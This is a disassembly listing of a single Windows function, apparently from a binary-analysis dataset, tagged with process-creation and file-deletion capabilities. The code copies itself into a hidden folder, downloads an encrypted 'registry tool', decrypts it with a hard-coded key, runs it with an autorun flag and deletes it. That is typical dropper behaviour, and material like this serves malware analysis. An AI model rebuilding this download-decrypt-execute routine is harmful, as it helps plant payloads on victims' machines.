Function at 0x408d50
Capabilities:
Create process on windows
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x588
mov eax, dword [0x431860]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0x103
lea eax, [ebp - 0x427]
push 0
push eax
mov byte [ebp - 0x428], 0
call fcn.00411ca0
add esp, 0xc
lea eax, [ebp - 0x31f]
push 0x103
push 0
push eax
mov byte [ebp - 0x320], 0
call fcn.00411ca0
add esp, 0xc
lea eax, [ebp - 0x10f]
push 0x103
push 0
push eax
mov byte [ebp - 0x110], 0
call fcn.00411ca0
add esp, 0xc
lea eax, [ebp - 0x217]
push 0x103
push 0
push eax
mov byte [ebp - 0x218], 0
call fcn.00411ca0
add esp, 0xc
lea eax, [ebp - 0x52f]
push 0x103
push 0
push eax
mov byte [ebp - 0x530], 0
call fcn.00411ca0
add esp, 0xc
lea eax, [ebp - 0x320]
push str.X:.Trash_100
push 0x104
push eax
call fcn.0040e3a9
add esp, 0xc
lea eax, [ebp - 0x320]
push 0x42cadc
push 0x104
push eax
call fcn.0040e681
add esp, 0xc
lea eax, [ebp - 0x320]
push str.ActivateDesktop.exe
push 0x104
push eax
call fcn.0040e681
add esp, 0xc
lea eax, [ebp - 0x428]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x320]
lea eax, [ebp - 0x428]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x408e81
test dl, dl
je 0x408e7d
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x408e81
add eax, 2
add ecx, 2
test dl, dl
jne 0x408e61
xor eax, eax
jmp 0x408e86
sbb eax, eax
or eax, 1
mov esi, dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x408ef5
lea edx, [ebp - 0x320]
lea ecx, [ebp - 0x428]
call fcn.0040b690
push 0x40
lea eax, [ebp - 0x574]
push 0
push eax
mov dword [ebp - 0x578], 0x44
call fcn.00411ca0
add esp, 0xc
lea eax, [ebp - 0x588]
push eax
lea eax, [ebp - 0x578]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x320]
push eax
push 0
mov dword [ebp - 0x54c], 0x80
call esi
test eax, eax
jne 0x4091bf
push str.X:.Trash_100
lea eax, [ebp - 0x110]
push 0x104
push eax
call fcn.0040e3a9
add esp, 0xc
lea eax, [ebp - 0x110]
push str._registry_tool.exe
push 0x104
push eax
call fcn.0040e681
add esp, 0xc
lea edx, [ebp - 0x530]
push 0x104
mov ecx, str.last_regwrite_link
call fcn.004051d0
add esp, 4
lea edx, [ebp - 0x218]
push 0x104
mov ecx, str.backup_url
call fcn.004051d0
add esp, 4
test al, al
jne 0x408f74
push 0x4341a8
lea eax, [ebp - 0x218]
push 0x104
push eax
call fcn.0040e3a9
add esp, 0xc
push str.tools_RegWriter.exe.raum_encrypted
lea eax, [ebp - 0x218]
push 0x104
push eax
call fcn.0040e681
add esp, 0xc
lea ecx, [ebp - 0x218]
lea eax, [ebp - 0x530]
lea esp, [esp]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x408fc0
test dl, dl
je 0x408fbc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x408fc0
add eax, 2
add ecx, 2
test dl, dl
jne 0x408fa0
xor eax, eax
jmp 0x408fc5
sbb eax, eax
or eax, 1
test eax, eax
je 0x409158
mov edx, str.Trying_to_download_registry_tool_
mov ecx, 0x433130
call fcn.00405410
lea edx, [ebp - 0x110]
mov ecx, eax
call fcn.00405410
mov edx, str.__from
mov ecx, eax
call fcn.00405410
lea edx, [ebp - 0x218]
mov ecx, eax
call fcn.00405410
mov edx, str...._n
mov ecx, eax
call fcn.00405410
lea edx, [ebp - 0x110]
lea ecx, [ebp - 0x218]
call fcn.0040ab40
test al, al
je 0x409086
mov edx, str.Downloaded._Decrypting_with_key
mov ecx, 0x433130
call fcn.00405410
mov edx, str.666_SamaelLovesMe_666
mov ecx, eax
call fcn.00405410
mov edx, 0x42cd9c
mov ecx, eax
call fcn.00405410
lea ecx, [ebp - 0x110]
call fcn.004057a0
test al, al
je 0x409086
lea edx, [ebp - 0x218]
lea edi, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x409062
sub edx, edi
push edx
lea edx, [ebp - 0x218]
mov ecx, str.last_regwrite_link
call fcn.00404ff0
add esp, 4
mov edx, str.Registry_tool_downloaded__n
jmp 0x40908b
mov edx, str.Registry_tool_download_FAILED__n
mov ecx, 0x433130
call fcn.00405410
push str.__autorun
lea eax, [ebp - 0x110]
push 0x104
push eax
call fcn.0040e681
add esp, 0xc
lea eax, [ebp - 0x428]
push eax
lea eax, [ebp - 0x110]
push 0x104
push eax
call fcn.0040e681
add esp, 0xc
lea eax, [ebp - 0x574]
push 0x40
push 0
push eax
mov dword [ebp - 0x578], 0x44
call fcn.00411ca0
add esp, 0xc
xor eax, eax
mov word [ebp - 0x548], ax
lea eax, [ebp - 0x588]
push eax
lea eax, [ebp - 0x578]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x110]
push eax
push 0
mov dword [ebp - 0x54c], 0x81
call esi
test eax, eax
jne 0x409146
lea eax, [ebp - 0x110]
push str.__autorun
push eax
call fcn.0040e880
add esp, 8
mov byte [eax], 0
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor al, al
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040d0ff
mov esp, ebp
pop ebp
ret
push 0x40
lea eax, [ebp - 0x574]
push 0
push eax
mov dword [ebp - 0x578], 0x44
call fcn.00411ca0
add esp, 0xc
xor eax, eax
mov word [ebp - 0x548], ax
lea eax, [ebp - 0x588]
push eax
lea eax, [ebp - 0x578]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x110]
push eax
push 0
mov dword [ebp - 0x54c], 0x81
call esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
mov al, 1
pop esi
call fcn.0040d0ff
mov esp, ebp
pop ebp
ret
call fcn.00408910
int3